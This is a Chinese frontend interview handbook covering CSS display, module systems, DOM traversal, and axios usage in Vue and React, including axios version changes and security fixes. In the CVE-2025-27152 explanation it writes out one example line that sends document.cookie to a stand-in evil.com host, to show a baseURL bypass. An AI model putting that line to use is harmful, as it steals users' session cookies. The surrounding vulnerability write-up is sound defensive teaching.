前端面试题手册

梳理高频技术问题,帮助你按主题复习和查漏补缺。

前端阅读 575月28日 03:15

CSS display 有哪些值?面试必考的 9 个属性详解

CSS display 控制元素在页面上的渲染方式,面试常考的就这几个:none — 元素不渲染、不占空间,从布局树中移除。和 visibility: hidden 的关键区别:后者保留空间只隐藏视觉效果。频繁切换显隐优先用 visibility,因为只触发重绘不触发回流。block — 独占一行,可设宽高。<div>、<p>、<h1> 默认就是 block。inline — 不换行,宽高由内容撑开,垂直方向的 margin/padding 不生效。<span>、<a> 默认 inline。inline-block — 对外像 inline 不换行,对内像 block 能设宽高。做横排按钮、导航菜单首选。flex — 弹性布局容器,子元素沿主轴排列。居中、等分空间、对齐一行搞定,一维布局主力。grid — 网格布局容器,同时控制行和列。二维布局(如页面骨架、卡片网格)用 grid 更直观。table 系列(table / table-row / table-cell)— 不用 <table> 标签也能模拟表格布局,现在主要用来做垂直居中(table-cell + vertical-align)。contents — 元素本身不生成盒子,子元素直接参与父级布局。做组件封装时有用,不想让容器标签影响布局。flow-root — 创建新的 BFC,等效于 clearfix 的正经方案。浮动清除不再需要伪元素 hack。补充一点:现代 CSS 支持 display 双值语法,比如 inline flex 等于 inline-flex,第一个值控制外部显示类型,第二个值控制内部。目前浏览器支持度还不错,面试提一句是加分项。追问inline 元素设置 width/height 为什么不生效?CSS 规范规定非替换 inline 元素的盒模型由内容决定,宽高属性不适用。想设宽高就换成 inline-block 或 block。但 <img>、<input> 这类替换元素虽然是 inline,却可以设宽高——因为它们有内在尺寸。flex 和 grid 怎么选?一维用 flex,二维用 grid。实际项目经常混搭:外层 grid 做页面骨架,内层 flex 做组件对齐。别纠结"哪个更好",它们解决的不是同一个问题。display: none、visibility: hidden、opacity: 0 有什么区别?| | display: none | visibility: hidden | opacity: 0 ||---|---|---|---|| 占空间 | 不占 | 占 | 占 || 触发回流 | 是 | 否 | 否 || 触发重绘 | 是 | 是 | 否 || 子元素可覆盖 | 否 | 是(设 visible) | 否 || 响应事件 | 否 | 否 | 是 || 可访问性 | 不可见 | 不可见 | 可见 |频繁切换用 visibility(只重绘),需要完全移除用 display: none,做淡入淡出动画用 opacity。display: contents 在实际项目里有什么用?做组件封装时,容器 div 只是想传 props,不想让它参与布局。比如一个 <Card> 组件渲染成 <div class="card"><slot/></div>,但外层用 grid 布局时不希望 .card 这层 div 打断网格结构,这时候给 .card 设 display: contents 就行。注意:contents 会导致元素本身的样式和可访问性语义丢失,屏幕阅读器可能跳过它。
前端阅读 285月28日 03:14

AMD 和 ESModule 有什么区别?为什么 ESModule 能做 Tree-Shaking?

核心区别:AMD 是运行时加载,ESModule 是编译时静态分析。这个根本差异决定了 ESModule 能做 Tree-Shaking,AMD 做不了。AMD 用 define(['dep1', 'dep2'], callback) 声明模块,依赖列表虽然写死了,但 callback 里的逻辑是运行时才执行的——你完全可以在回调里根据条件 require 不同的模块。ESModule 的 import/export 必须写在模块顶层,引擎在解析代码时(还没执行)就能确定整个依赖图。Tree-Shaking 就靠这个:Webpack/Rollup 静态扫描 import 语句,标记哪些导出被引用了,没被引用的直接从产物中删除。实际效果很直观:import { debounce } from 'lodash-es',打包后只有 debounce 和它的依赖。换成 AMD 的 define(['lodash'], callback),整个 lodash 全量加载,因为工具无法判断 callback 里到底用了 lodash 的哪些方法。追问CommonJS 和 AMD 有什么区别?CommonJS 是同步加载(require 阻塞执行),给 Node.js 设计的,文件都在本地所以同步没问题。AMD 是异步加载(define + 回调),给浏览器设计的,网络请求不能阻塞。两者都不能做 Tree-Shaking——require() 是运行时调用,静态分析搞不定。ESModule 的静态结构除了 Tree-Shaking 还有什么用?Scope Hoisting:Webpack 把多个模块的变量合并到同一个作用域,减少闭包和函数调用开销动态 import() 做代码分割:import() 虽然是动态的,但语法上是个特殊的表达式,构建工具能识别并单独分包浏览器原生支持:<script type="module"> 不需要打包就能跑,Vite 开发模式就靠这个实现秒级热更新现在项目还需要关心 AMD 吗?基本不用了。现代浏览器和 Node.js 都原生支持 ESModule,新项目直接用 ESM。AMD 只在维护老 RequireJS 项目时遇到。面试问这个,考的是你对模块化演进的理解——从全局变量 → IIFE → CommonJS/AMD → ESModule,每个阶段解决什么问题。怎么验证 Tree-Shaking 是否生效?用 Webpack 的 webpack-bundle-analyzer 或 Rollup 的可视化插件看产物体积。常见翻车场景:Babel 把 import 转成了 require(@babel/preset-env 的 modules 选项没关),或者 package.json 没配 "sideEffects": false,这两种情况 Tree-Shaking 都会失效。
前端阅读 295月28日 03:13

如何用 JavaScript 广度优先遍历 DOM 树?

用队列。从根节点入队,每次出队一个节点处理,再把它的子节点依次入队,循环到队列为空。function bfsTraverse(root) { if (!root) return; const queue = [root]; while (queue.length) { const node = queue.shift(); console.log(node.tagName); for (const child of node.children) { queue.push(child); } }}面试官问这道题,考的是你对树形结构和队列的理解——DOM 是棵树,BFS 用队列逐层扩展,DFS 用栈先钻到底。别搞混数据结构就行。追问BFS 和 DFS 在 DOM 上各自适合什么场景?BFS 适合找离根近的节点——比如页面第一个 <article> 标签。DFS 适合找深层嵌套的元素,比如 <head> 里的 <meta>。日常用的 querySelector 浏览器内部走的就是 DFS 前序遍历。shift() 的性能问题怎么解决?Array.prototype.shift() 是 O(n),每次都要移动剩余元素。节点多的时候拖慢整体。两个解法:索引队列(推荐面试写法):function bfsTraverse(root) { if (!root) return; const queue = [root]; let head = 0; while (head < queue.length) { const node = queue[head++]; for (const child of node.children) queue.push(child); }}链表队列:生产环境更稳,但面试写起来费时间,提到就行。实际面试直接写 shift() 版本没问题,能顺嘴提到这个优化点就够了。node.children 和 node.childNodes 有什么区别?children 只返回元素节点(Element),childNodes 返回所有节点包括文本节点、注释节点。BFS 遍历 DOM 树通常用 children,除非你明确要处理文本节点。时间和空间复杂度?时间 O(n),每个节点入队出队各一次。空间 O(w),w 是树的最大宽度——最宽那一层有多少个节点。完全二叉树最宽层约 n/2 个节点,所以最坏空间也是 O(n)。真实项目里什么时候会手写 DOM 遍历?很少。浏览器提供了 querySelectorAll、TreeWalker、NodeIterator 等原生 API,绝大多数场景不需要手写遍历。但面试考这个是在验证你对数据结构的基本功,就像问快排不是为了让你手写排序,而是看你懂不懂分治思想。
服务端阅读 05月28日 01:48

Vue 项目中如何正确使用 axios?从基础封装到 Vue 3 组合式 API 的完整实践

在 Vue 项目中使用 axios 不是简单地调用接口,而是要围绕 Vue 的响应式系统和生命周期做正确的事——请求取消、加载状态、错误处理、逻辑复用,每一环都影响工程质量。下面从面试最常问的封装方式出发,逐步走到 Vue 3 组合式 API 的最佳实践。为什么需要封装 axios?直接在每个组件里 import axios 发请求,看似简单,实则埋下三个隐患:配置散落各处难以统一修改、错误处理逻辑重复书写、换 HTTP 库时要改遍整个项目。封装的核心目的是收拢变化点,让业务代码只关心"调哪个接口、传什么参数"。基础封装:创建请求实例拦截器处理通用逻辑// utils/request.jsimport axios from 'axios'import { ElMessage } from 'element-plus'const service = axios.create({ baseURL: import.meta.env.VITE_API_BASE_URL, timeout: 15000, headers: { 'Content-Type': 'application/json' }})// 请求拦截:注入 token、防缓存service.interceptors.request.use(config => { const token = localStorage.getItem('token') if (token) { config.headers.Authorization = `Bearer ${token}` } if (config.method === 'get') { config.params = { ...config.params, _t: Date.now() } } return config})// 响应拦截:统一错误处理service.interceptors.response.use( response => { const res = response.data if (res.code !== 200) { ElMessage.error(res.message || '请求失败') return Promise.reject(new Error(res.message)) } return res.data }, error => { if (error.response) { const { status } = error.response if (status === 401) { ElMessage.error('登录已过期') localStorage.removeItem('token') window.location.href = '/login' } else if (status === 403) { ElMessage.error('没有权限') } else if (status === 500) { ElMessage.error('服务器错误') } } else { ElMessage.error('网络异常,请检查连接') } return Promise.reject(error) })export default service拦截器要遵循一个原则:只处理通用逻辑,业务特殊逻辑留在调用方。比如某些接口 401 不需要跳登录页,应该让调用方自己处理,拦截器可以通过 config._skipAuthRedirect 这样的标记来跳过。按模块组织 API 函数// api/user.jsimport request from '@/utils/request'export const userApi = { getInfo: () => request.get('/user/info'), updateInfo: data => request.put('/user/info', data), uploadAvatar: file => { const formData = new FormData() formData.append('file', file) return request.post('/user/avatar', formData, { headers: { 'Content-Type': 'multipart/form-data' } }) }}// api/article.jsexport const articleApi = { getList: params => request.get('/articles', { params }), getDetail: id => request.get(`/articles/${id}`), create: data => request.post('/articles', data)}API 函数层的作用是把 URL 和参数格式从组件中剥离,组件只调函数,不关心路径和字段名。后续接口变更只改这一层。Vue 3 组合式 API 中使用 axios基本用法与请求取消Vue 3 组件中发请求,必须处理两件事:加载状态和组件卸载时取消请求。不取消请求会导致卸载后 setState 报错,或者数据错乱。<script setup>import { ref, onMounted, onUnmounted } from 'vue'import { userApi } from '@/api/user'const user = ref(null)const loading = ref(false)const error = ref(null)let controller = nullconst fetchUser = async () => { if (controller) controller.abort() controller = new AbortController() loading.value = true error.value = null try { user.value = await userApi.getInfo({ signal: controller.signal }) } catch (err) { if (err.name !== 'AbortError') { error.value = err.message } } finally { loading.value = false }}onMounted(fetchUser)onUnmounted(() => controller?.abort())</script>关键点:用 AbortController 代替已废弃的 CancelToken,每次请求前取消上一次未完成的请求,onUnmounted 里再兜底一次。封装通用 Composable每个组件都写一遍 loading/error/cancel 逻辑显然不现实,抽成可复用的组合函数:// composables/useRequest.jsimport { ref, onUnmounted } from 'vue'export function useRequest(apiFn, options = {}) { const { immediate = false } = options const data = ref(null) const loading = ref(false) const error = ref(null) let controller = null const execute = async (...params) => { if (controller) controller.abort() controller = new AbortController() loading.value = true error.value = null try { data.value = await apiFn(...params, { signal: controller.signal }) return data.value } catch (err) { if (err.name !== 'AbortError') { error.value = err throw err } } finally { loading.value = false } } onUnmounted(() => controller?.abort()) if (immediate) execute() return { data, loading, error, execute }}组件中使用变得极简:<script setup>import { useRequest } from '@/composables/useRequest'import { userApi } from '@/api/user'const { data: user, loading, error, execute: refresh } = useRequest( userApi.getInfo, { immediate: true })</script>结合 Pinia 管理全局状态当多个组件需要共享同一份接口数据时(比如用户信息),Composable 就不够用了,应该用 Pinia:// stores/user.jsimport { defineStore } from 'pinia'import { ref, computed } from 'vue'import { userApi } from '@/api/user'export const useUserStore = defineStore('user', () => { const userInfo = ref(null) const loading = ref(false) const isLoggedIn = computed(() => !!userInfo.value) const fetchUserInfo = async () => { loading.value = true try { userInfo.value = await userApi.getInfo() } finally { loading.value = false } } const logout = () => { userInfo.value = null localStorage.removeItem('token') } return { userInfo, loading, isLoggedIn, fetchUserInfo, logout }})选择 Composable 还是 Pinia 的判断标准:数据是否跨组件共享。只在一个组件内用,Composable 足够;多个组件都要读同一份数据,用 Pinia。进阶:重试与请求防抖自动重试机制网络波动导致的偶发失败,自动重试比直接报错体验好得多:// utils/retry.jsexport function withRetry(requestFn, retries = 2, delay = 1000) { return async (...args) => { let lastError for (let i = 0; i <= retries; i++) { try { return await requestFn(...args) } catch (err) { lastError = err if (i < retries) { await new Promise(resolve => setTimeout(resolve, delay * (i + 1))) } } } throw lastError }}// 使用const fetchWithRetry = withRetry(userApi.getInfo, 2, 800)搜索防抖搜索场景下,用户每输入一个字符就发请求既浪费又卡顿,必须防抖:// composables/useDebouncedRequest.jsimport { ref, watch } from 'vue'export function useDebouncedRequest(apiFn, wait = 400) { const loading = ref(false) let timer = null const execute = (keyword) => { clearTimeout(timer) return new Promise((resolve, reject) => { timer = setTimeout(async () => { loading.value = true try { resolve(await apiFn(keyword)) } catch (err) { reject(err) } finally { loading.value = false } }, wait) }) } return { execute, loading }}Vue 2 项目中的注意事项Vue 2 没有组合式 API,但有相同的诉求。核心差异两点:请求取消用 CancelToken(Vue 2 项目通常用旧版 axios),在 beforeDestroy 钩子中调用 cancel()逻辑复用用 mixin,但 mixin 有命名冲突风险,优先用独立的工具函数// Vue 2 组件内export default { data() { return { user: null, loading: false } }, created() { this.cancelToken = axios.CancelToken.source() this.fetchUser() }, beforeDestroy() { this.cancelToken.cancel('组件销毁') }, methods: { async fetchUser() { this.loading = true try { const { data } = await userApi.getInfo({ cancelToken: this.cancelToken.token }) this.user = data } catch (err) { if (!axios.isCancel(err)) console.error(err) } finally { this.loading = false } } }}总结:axios 在 Vue 项目中的核心原则回答面试题时,抓住这三条主线:封装收拢变化(实例、拦截器、API 模块化)、组合式 API 复用逻辑(Composable 抽 loading/error/cancel、Pinia 管共享状态)、边界场景兜底(请求取消、重试、防抖)。能讲清为什么这么做,比贴完整代码更有说服力。
服务端阅读 05月28日 01:48

axios 从 0.x 到 1.x 经历了哪些重大变更?升级和兼容性问题怎么处理

Axios 是前端最常用的 HTTP 客户端之一,从 2014 年发布 0.1.0 到 2026 年的 1.16.x,经历了多次重大版本变更和安全修复。掌握这些变化不仅有助于日常项目维护,也是前端面试中的高频考点。版本演进全景Axios 的版本发展可以分为三个阶段:0.x 探索期(2014-2022)、1.0 稳定期(2022-2024)、安全强化期(2025-2026)。每个阶段都有影响开发者使用方式的关键变更。里程碑版本速览| 版本 | 时间 | 核心变更 ||------|------|----------|| 0.1.0 | 2014 | 初始发布,基于 Promise 的 HTTP 客户端 || 0.9.0 | 2015 | 引入拦截器机制 || 0.12.0 | 2016 | 添加 CancelToken 取消请求 || 0.16.0 | 2017 | 支持 async/await || 0.18.0 | 2018 | 修复 XSS 漏洞 || 0.19.0 | 2019 | 改进错误处理,引入 validateStatus || 0.21.0 | 2020 | 重大安全更新 || 1.0.0 | 2022 | 正式版,CancelToken 废弃,推荐 AbortController || 1.6.0 | 2023 | 支持 Fetch API 适配器 || 1.8.0 | 2025 | 引入 allowAbsoluteUrls 配置 || 1.13.0 | 2025 | 支持 HTTP/2 || 1.15.0 | 2026 | 修复多个严重安全漏洞 || 1.16.1 | 2026 | 支持 QUERY 方法,安全加固 |0.x 时期的关键变更validateStatus 让错误处理更灵活(v0.19.0)0.19.0 之前,只要服务端返回非 2xx 状态码,axios 就会抛出错误进入 catch。这在某些场景下不够灵活——比如 404 在业务逻辑中可能是正常情况。// 0.19.0 之后:自定义哪些状态码才算错误axios.get("/api/user", { validateStatus: function (status) { return status < 500; // 只有 500+ 才抛错 },});TypeScript 泛型支持(v0.20.0)0.20.0 改进了类型定义,支持泛型参数,告别了 response.data 的 any 类型。interface User { id: number; name: string;}// 泛型推断,response.data 类型为 Userconst { data } = await axios.get<User>("/api/user");1.0 正式版的重大变更CancelToken 废弃,改用 AbortController这是 1.0 最大的破坏性变更。CancelToken 是 axios 自建的取消机制,而 AbortController 是 Web 标准API,两者在用法和语义上完全不同。// 旧写法(已废弃)const source = axios.CancelToken.source();axios.get("/api/data", { cancelToken: source.token });source.cancel("取消请求");// 新写法(推荐)const controller = new AbortController();axios.get("/api/data", { signal: controller.signal });controller.abort("取消请求");迁移时需要注意两点:abort() 调用后 signal 不可复用,需要新建 AbortController;cancel() 的错误对象是 CancelError,而 abort() 抛出的是 DOMException。请求参数序列化行为变更1.x 对 URL 参数的序列化规则做了调整:null 值序列化为空字符串,undefined 值直接忽略,嵌套对象使用方括号表示法。如果后端依赖旧的序列化格式,升级后可能出现参数丢失。// 1.x 的序列化结果// { a: null, b: undefined, c: { d: 1 } } → a=&c[d]=1Fetch API 适配器(v1.6.0)1.6.0 引入了 Fetch API 适配器,让 axios 可以基于浏览器原生 fetch 运行,不再依赖 XMLHttpRequest。// 使用 fetch 适配器const instance = axios.create({ adapter: "fetch" });// 条件选择适配器const instance = axios.create({ adapter: typeof window !== "undefined" && "fetch" in window ? "fetch" : "xhr",});2025-2026 安全修复风暴2025 年以来 axios 集中修复了多个高危安全漏洞,这些 CVE 直接影响线上项目的安全性,是面试中区分深度的关键知识点。CVE-2025-27152:绝对 URL 导致 SSRF 和凭证泄露影响版本:≤ 1.7.9。当请求路径传入绝对 URL 时,即使设置了 baseURL,axios 仍会将请求发送到该绝对 URL 指向的地址,攻击者可以利用这一点发起 SSRF 攻击并窃取认证信息。1.8.0 引入了 allowAbsoluteUrls 配置项来控制此行为,1.8.2 修复了此漏洞。// 风险场景:baseURL 被绕过const client = axios.create({ baseURL: "https://api.example.com" });// 攻击者控制路径参数时,请求可能发往外部域名client.get("https://evil.com/steal?cookie=" + document.cookie);// 修复:禁用绝对 URLconst client = axios.create({ baseURL: "https://api.example.com", allowAbsoluteUrls: false,});CVE-2025-58754:data URI 导致内存耗尽影响版本:0.28.0 - 1.11.0。axios 对 data URI 的处理没有执行 maxContentLength 和 maxBodyLength 的限制检查,攻击者可以构造超大 data URI 导致 Node.js 进程内存耗尽。1.12.0 修复了此漏洞。CVE-2025-62718:NO_PROXY 主机名绕过影响版本:≤ 1.14.1。axios 在匹配 NO_PROXY 规则时没有对主机名做规范化处理,攻击者可以通过主机名的不同表示形式绕过代理规则,实现 SSRF。1.15.0 修复。CVE-2026-25639:mergeConfig 中的原型污染 DoS影响版本:1.0.0 - 1.13.4。mergeConfig 函数在合并配置时未过滤 proto 键,攻击者可以通过注入 proto 属性触发原型污染,导致 DoS。1.13.5 修复。兼容性处理实战浏览器环境兼容axios 依赖 Promise 和 XMLHttpRequest(或 Fetch API),在旧浏览器中需要 polyfill。实际项目中更推荐按特性检测来决定适配器策略,而不是一刀切。import axios from "axios";// 根据环境自动选择适配器function createClient(config = {}) { const adapter = typeof fetch !== "undefined" ? "fetch" : typeof XMLHttpRequest !== "undefined" ? "xhr" : undefined; // Node.js 使用 http 适配器 return axios.create({ adapter, ...config });}Node.js 环境兼容axios 1.x 的 Node.js 适配器需要 Node.js 12+。在 SSR 场景中,同一段代码可能在浏览器和 Node.js 中运行,需要根据环境配置不同的 Agent。const instance = axios.create({ // Node.js 环境配置 keep-alive ...(typeof process !== "undefined" && { httpAgent: new (require("http").Agent)({ keepAlive: true }), httpsAgent: new (require("https").Agent)({ keepAlive: true }), }),});版本兼容封装在维护多个项目或渐进式升级时,封装一层兼容层可以隔离版本差异,降低升级成本。// compat.js - 版本兼容封装import axios from "axios";const isV1 = axios.VERSION && axios.VERSION.startsWith("1.");// 统一取消请求接口export function createCancelableRequest() { if (isV1) { const controller = new AbortController(); return { signal: controller.signal, cancel: (msg) => controller.abort(msg), }; } const source = axios.CancelToken.source(); return { cancelToken: source.token, cancel: (msg) => source.cancel(msg), };}// 统一实例创建export function createInstance(config = {}) { return axios.create({ ...config, ...(isV1 && { transitional: { clarifyTimeoutError: true, forcedJSONParsing: true }, }), });}从 0.x 升级到 1.x 的检查清单升级前逐项排查,可以避免大部分线上故障。第一步:排查 CancelToken 使用。全局搜索 CancelToken 和 source.cancel,替换为 AbortController。注意 abort() 后 signal 不可复用,循环请求场景需要每次新建 controller。第二步:检查参数序列化。如果后端依赖 null 参数传空字符串的行为,确认升级后序列化结果是否一致。可以用 paramsSerializer 自定义序列化逻辑。第三步:检查 TypeScript 类型。1.x 的类型导出路径有调整,AxiosResponse、AxiosRequestConfig 等需要确认导入方式。第四步:检查自定义适配器。如果项目中使用了自定义适配器(如缓存适配器、Mock 适配器),需要适配 1.x 的适配器接口变更。第五步:安全版本确认。确保升级到 1.15.1 以上版本,修复所有已知 CVE。低于 1.15.0 的版本至少存在两个未修复的安全漏洞。版本锁定与更新策略生产环境中,推荐锁定 axios 的精确版本号,避免隐式升级引入兼容性问题。同时定期检查安全更新。{ "dependencies": { "axios": "1.16.1" }}对于 Monorepo 或微前端项目,使用 resolutions 字段统一 axios 版本,避免不同子项目引用不同版本。{ "resolutions": { "axios": "1.16.1" }}追问:axios 和 fetch 该怎么选新项目中如果只需要基本的请求功能,fetch API 已经足够,浏览器原生支持无需安装依赖。但如果需要拦截器、自动 JSON 转换、请求取消、超时控制、XSRF 防护等开箱即用的能力,axios 仍然是更高效的选择。axios 1.6+ 的 Fetch 适配器让两者可以共存,在 fetch 基础上获得 axios 的上层能力。
服务端阅读 05月28日 01:47

axios 实例如何创建和配置?axios.create() 的使用方法与核心原理

axios.create() 是 axios 提供的工厂方法,用于创建一个拥有独立配置的 axios 实例。与直接使用全局 axios 对象不同,实例之间互不影响,适合在项目中对接多个服务或需要不同默认配置的场景。核心答案axios.create() 接收一个配置对象,返回一个新的 axios 实例,该实例拥有与全局 axios 相同的请求方法,但配置彼此隔离:const instance = axios.create({ baseURL: 'https://api.example.com', timeout: 10000, headers: { 'X-Custom-Header': 'foobar' }});instance.get('/users'); // 实际请求 https://api.example.com/users面试关键点: axios.create() 创建的实例与全局 axios 共享原型方法,但拥有独立的 defaults、interceptors,互不干扰。源码中 create 调用了 createInstance,通过 bind 绑定新上下文并拷贝拦截器链。追问:axios.create() 和直接修改 axios.defaults 有什么区别?修改 axios.defaults 影响全局所有请求,而 axios.create() 创建的实例配置独立,适合多服务、多环境场景。实际项目中推荐使用实例而非修改全局默认值。配置选项分类基础配置最常用的配置项集中在请求地址、超时和请求头:const instance = axios.create({ baseURL: 'https://api.example.com/v1', // 请求 URL 前缀 timeout: 10000, // 超时时间(毫秒) headers: { // 自定义请求头 'Content-Type': 'application/json', 'Accept': 'application/json' }, method: 'get', // 默认请求方法 params: { page: 1 }, // URL 查询参数 data: { name: 'test' } // 请求体数据});进阶配置实际项目中常涉及跨域凭证、响应类型和安全相关配置:const instance = axios.create({ withCredentials: true, // 跨域请求携带 cookie responseType: 'json', // 响应数据类型:json/blob/stream 等 responseEncoding: 'utf8', // 响应编码 xsrfCookieName: 'XSRF-TOKEN', // XSRF 防护 cookie 名 xsrfHeaderName: 'X-XSRF-TOKEN', // XSRF 防护 header 名 maxRedirects: 5, // 最大重定向次数 maxContentLength: 2000, // 响应体最大长度 onUploadProgress: (e) => {}, // 上传进度回调 onDownloadProgress: (e) => {} // 下载进度回调});配置优先级这是面试高频考点。配置合并遵循四个层级,后者覆盖前者:库默认值 — axios 内置的默认配置axios.create() 传入的配置 — 创建实例时指定实例的 defaults 属性 — 创建后通过 instance.defaults 修改请求时传入的配置 — 单次请求的 config 参数// 层级 1:库默认 timeout = 0// 层级 2:创建时 timeout = 5000const instance = axios.create({ timeout: 5000 });// 层级 3:defaults 修改 timeout = 10000instance.defaults.timeout = 10000;// 层级 4:请求时覆盖 timeout = 20000 ← 最终生效instance.get('/data', { timeout: 20000 });追问:headers 的合并策略和 timeout 一样吗?不一样。timeout 等简单值直接覆盖,而 headers 采用深度合并策略——headers.common、headers[method] 会按层级递归合并,而非整体替换。理解这一点才能避免配置被意外覆盖。实战场景多后端服务中大型项目通常对接多个微服务,各自拥有不同的 baseURL 和超时要求:const userService = axios.create({ baseURL: 'https://api.user-service.com', timeout: 5000});const orderService = axios.create({ baseURL: 'https://api.order-service.com', timeout: 10000});// 各实例独立使用,互不干扰userService.get('/users/1');orderService.get('/orders/123');认证 API 与公开 API 分离需要对不同接口设置不同的拦截逻辑时,实例隔离尤为重要:// 需要认证的实例const authApi = axios.create({ baseURL: 'https://api.example.com', timeout: 10000});authApi.interceptors.request.use(config => { const token = localStorage.getItem('token'); if (token) config.headers.Authorization = `Bearer ${token}`; return config;});// 公开接口实例——无需 tokenconst publicApi = axios.create({ baseURL: 'https://api.example.com', timeout: 5000});完整封装方案结合实例创建、拦截器和错误处理,形成项目级的请求封装:import axios from 'axios';const api = axios.create({ baseURL: import.meta.env.VITE_API_URL || 'http://localhost:3000', timeout: 10000, headers: { 'Content-Type': 'application/json' }});// 请求拦截:注入 tokenapi.interceptors.request.use(config => { const token = localStorage.getItem('token'); if (token) config.headers.Authorization = `Bearer ${token}`; return config;});// 响应拦截:统一错误处理api.interceptors.response.use( response => response.data, error => { if (error.response?.status === 401) { localStorage.removeItem('token'); window.location.href = '/login'; } return Promise.reject(error); });export default api;常见问题实例能访问全局 axios 的拦截器吗? 不能。每个实例拥有独立的 interceptors 对象,创建实例时拦截器链从空开始,需要单独添加。axios.create() 返回的是什么? 返回一个包装了 Axios 实例的函数,该函数绑定了当前上下文,同时挂载了 get、post 等快捷方法和 defaults、interceptors 属性。源码中通过 extend 将 Axios.prototype 上的方法拷贝到实例函数上。实例方法有哪些? request、get、delete、head、options、post、put、patch、getUri,用法与全局 axios 一致。
服务端阅读 05月28日 01:41

在 React 项目中如何正确使用 axios?

在 React 项目中使用 axios,核心挑战不在于发送请求本身,而在于如何让请求逻辑与 React 的组件生命周期、状态管理、性能优化正确配合。许多开发者会写 axios 调用,却在内存泄漏、竞态条件、重复请求等问题上频频踩坑。一、为什么 React 项目需要封装 axios直接在每个组件中 import axios from 'axios' 然后调用,看似简单,但会带来三个问题: baseURL 和超时配置散落各处、token 刷新逻辑无法统一处理、错误处理方式不一致。创建统一的请求实例// services/request.jsimport axios from 'axios';const request = axios.create({ baseURL: import.meta.env.VITE_API_BASE_URL, timeout: 15000, headers: { 'Content-Type': 'application/json' },});// 请求拦截器:注入 tokenrequest.interceptors.request.use((config) => { const token = localStorage.getItem('access_token'); if (token) { config.headers.Authorization = `Bearer ${token}`; } return config;});// 响应拦截器:统一错误处理 + token 过期刷新let isRefreshing = false;let pendingRequests = [];request.interceptors.response.use( (response) => response.data, async (error) => { const originalRequest = error.config; if (error.response?.status === 401 && !originalRequest._retry) { if (isRefreshing) { return new Promise((resolve) => { pendingRequests.push((token) => { originalRequest.headers.Authorization = `Bearer ${token}`; resolve(request(originalRequest)); }); }); } originalRequest._retry = true; isRefreshing = true; try { const { data } = await axios.post('/auth/refresh', { refresh_token: localStorage.getItem('refresh_token'), }); localStorage.setItem('access_token', data.access_token); pendingRequests.forEach((cb) => cb(data.access_token)); pendingRequests = []; return request(originalRequest); } catch { localStorage.clear(); window.location.href = '/login'; return Promise.reject(error); } finally { isRefreshing = false; } } return Promise.reject(error); });export default request;这个封装解决了一个容易被忽略的问题:当多个请求同时返回 401 时,只触发一次 token 刷新,其余请求排队等待新 token 后自动重试。按业务模块拆分 API 函数// services/user.jsimport request from './request';export const userApi = { getProfile: () => request.get('/user/profile'), updateProfile: (data) => request.put('/user/profile', data),};// services/post.jsexport const postApi = { getList: (params) => request.get('/posts', { params }), getDetail: (id) => request.get(`/posts/${id}`), create: (data) => request.post('/posts', data),};将 API 函数与组件解耦,后续接口变更只需改一处。测试时也可以直接 mock 整个模块。二、在组件中正确使用 axios必须处理请求取消React 组件卸载后,仍在进行中的异步请求如果试图更新状态,会触发内存泄漏警告。这是 axios 在 React 中最常见的坑。import { useEffect, useState } from 'react';import { userApi } from '@/services/user';function UserProfile({ userId }) { const [user, setUser] = useState(null); const [loading, setLoading] = useState(true); const [error, setError] = useState(null); useEffect(() => { const controller = new AbortController(); (async () => { try { setLoading(true); const data = await userApi.getProfile({ signal: controller.signal, }); setUser(data); } catch (err) { if (err.name !== 'CanceledError') { setError(err.message); } } finally { setLoading(false); } })(); return () => controller.abort(); }, [userId]); // ...渲染逻辑}关键点:AbortController 的 signal 传给 axios 的请求配置,组件卸载时调用 controller.abort(),axios 会以 CanceledError 拒绝 Promise。在 catch 中通过 err.name 过滤掉取消错误,避免污染错误状态。竞态条件:快速切换时的数据错乱当用户快速切换 tab 或搜索关键词时,多个请求可能乱序返回,导致页面显示的是旧数据而非最新请求的结果。// 错误写法:快速切换 userId 时可能显示旧数据useEffect(() => { userApi.getProfile(userId).then(setUser);}, [userId]);// 正确写法:每次新请求自动取消上一次useEffect(() => { const controller = new AbortController(); userApi.getProfile(userId, { signal: controller.signal }) .then(setUser) .catch((err) => { if (err.name !== 'CanceledError') setError(err); }); return () => controller.abort();}, [userId]);同一个 AbortController 同时解决了内存泄漏和竞态两个问题。三、用自定义 Hook 收敛请求逻辑每个组件都写一遍 loading/error 状态和 AbortController,代码重复且容易遗漏。封装成自定义 Hook 后,组件只需关注业务逻辑。// hooks/useRequest.jsimport { useState, useEffect, useCallback, useRef } from 'react';export function useRequest(apiFn, { immediate = true, deps = [] } = {}) { const [data, setData] = useState(null); const [loading, setLoading] = useState(immediate); const [error, setError] = useState(null); const controllerRef = useRef(null); const execute = useCallback(async (...args) => { controllerRef.current?.abort(); const controller = new AbortController(); controllerRef.current = controller; try { setLoading(true); setError(null); const result = await apiFn(...args, { signal: controller.signal }); setData(result); return result; } catch (err) { if (err.name !== 'CanceledError') { setError(err); throw err; } } finally { setLoading(false); } }, [apiFn]); useEffect(() => { if (immediate) execute(); return () => controllerRef.current?.abort(); }, [immediate, execute, ...deps]); return { data, loading, error, execute };}这个 Hook 的设计要点:用 useRef 保存最新的 controller 引用,execute 每次调用先取消上一次请求,天然防竞态;immediate 控制是否自动执行;deps 支持依赖变化时重新请求。四、四个常见坑点坑点 1:表单重复提交用户连续点击提交按钮,会发出多个相同的 POST 请求。const [submitting, setSubmitting] = useState(false);const handleSubmit = async (values) => { if (submitting) return; setSubmitting(true); try { await postApi.create(values); } finally { setSubmitting(false); }};// JSX 中<Button loading={submitting} onClick={() => handleSubmit(formValues)}> 提交</Button>更彻底的方案是用 axios 的 CancelToken 或 AbortController 取消上一次提交,但大多数场景下 loading 锁定已足够。坑点 2:POST 请求参数序列化axios 默认将对象序列化为 JSON,但某些后端接口要求 application/x-www-form-urlencoded 格式。直接传对象会导致后端解析失败。// 错误:后端收不到参数axios.post('/api/login', { username: 'admin', password: '123' });// 正确:使用 URLSearchParams 或 qs 库axios.post('/api/login', new URLSearchParams({ username: 'admin', password: '123' }));// 或使用 qsimport qs from 'qs';axios.post('/api/login', qs.stringify({ username: 'admin', password: '123' }));坑点 3:文件上传进度丢失上传大文件时用户需要看到进度,但很多人不知道 axios 支持 onUploadProgress。const [progress, setProgress] = useState(0);const handleUpload = async (file) => { const formData = new FormData(); formData.append('file', file); await request.post('/upload', formData, { headers: { 'Content-Type': 'multipart/form-data' }, onUploadProgress: (e) => { setProgress(Math.round((e.loaded * 100) / e.total)); }, });};坑点 4:错误处理不区分业务错误和网络错误// 统一错误处理策略request.interceptors.response.use( (response) => { const { code, data, message } = response.data; if (code !== 0) { // 业务错误:弹提示,不抛异常 showToast(message); return Promise.reject(new 